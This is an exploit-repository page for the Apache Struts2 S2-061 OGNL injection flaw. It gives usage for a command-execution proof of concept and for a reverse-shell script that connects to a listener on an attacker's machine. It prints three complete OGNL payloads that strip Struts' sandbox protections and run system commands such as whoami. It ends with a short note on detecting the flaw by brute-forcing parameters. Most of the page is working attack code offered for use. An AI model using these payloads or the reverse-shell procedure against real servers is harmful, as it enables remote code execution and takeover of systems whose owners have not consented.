## https://sploitus.com/exploit?id=32FB08A0-ACB0-5E2F-8691-570E7B806086
S2-061
The scripts are all written based on the vulhub’s struts2-059/061 vulnerability testing environment. They are not universal, so we hope that experts can provide more guidance.
- struts2-061-poc.py (executes simple system commands)
Usage: python struts2-061-poc.py http://ip:port command
Example: python struts2-061-poc.py http://192.168.0.7:8080 whoami
- S2-061-shell.py (allows for reverse shell access)
1. First, listen on port 7777 on machine A.
2. Run the script: python2 S2-061-shell.py target_url, where target_url is the address of the vulnerable environment, in the format http://ip:port.
3. Enter the IP address of machine A and the listening port as prompted by the script, and you will be able to gain reverse shell access from the listening window on machine A.
---
Here are some payloads created by experts:
## payload-1: (from ka1n4t)
`
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack"].ValueStack").#.newInstance("org.apache.commons.collections.BeanMap").toString().substring(0,0) + (#instancemanager.setBean(#request.get('struts.valueStack') == true).toString().substring(0,0) + (#instancemanager2=#application.get('org.apache.tomcat.InstanceManager').newInstance("org.apache.commons.collections.BeanMap")).toString().substring(0,0) + (#instancemanager2.setBean(#application.get('map').get('context') == true).toString().substring(0,0) + (#instancemanager3=#application.get('org.apache.tomcat.InstanceManager').newInstance("org.apache.commons.collections.BeanMap")).toString().substring(0,0) + (#instancemanager3.setBean(#application.get('map2').get('memberAccess') == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('org.apache.tomcat.InstanceManager').newInstance("java.util.HashSet") == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('map2').get('excludedPackageNames') == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('org.apache.tomcat.InstanceManager').newInstance("java.util.HashSet") == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('map2').get('excludedClasses') == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance("freemarker.template.utility.Execute").exec("calc.exe"))))}
`
## payload-2: (from Smi1e)
Full analysis article: https://mp.weixin.qq.com/s?__biz=Mzg2NzU2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
#### Using the `application` variable, it’s a complete POC.
`
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance("org.apache.commons.collections.BeanMap")).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack') == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance("org.apache.commons.collections.BeanMap")).toString().substring(0,0) + (#application.map2.setBean(#application.get('map').get('context') == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance("org.apache.commons.collections.BeanMap")).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess') == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('map2').get('excludedPackageNames') == true).toString().substring(0,0) + (#application.get('map3').setBean(#application.get('map2').get('excludedClasses') == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance("freemarker.template.utility.Execute").exec("calc.exe"))))}
`
#### Using requests for a complete POC that works for a single request (recommended)
`%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}`
**Note**: Please use a URL to encode the above OGNL code before using it with tools.
#### Detection approach:
In the new version of Struts2, it’s no longer possible to parse OGNL expressions using parameters. Therefore, if you want to use scripts for batch scanning and detect this vulnerability, you can simply brute-force all parameters and check whether there is a expected result text on the page. Example: `%{ 'gcowsec-' + (2000 + 20).toString()}` will likely return `gcowsec-2020`. You can use a script to determine whether the expected result is included in the returned value.
[source-iocs-preserved url=https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458]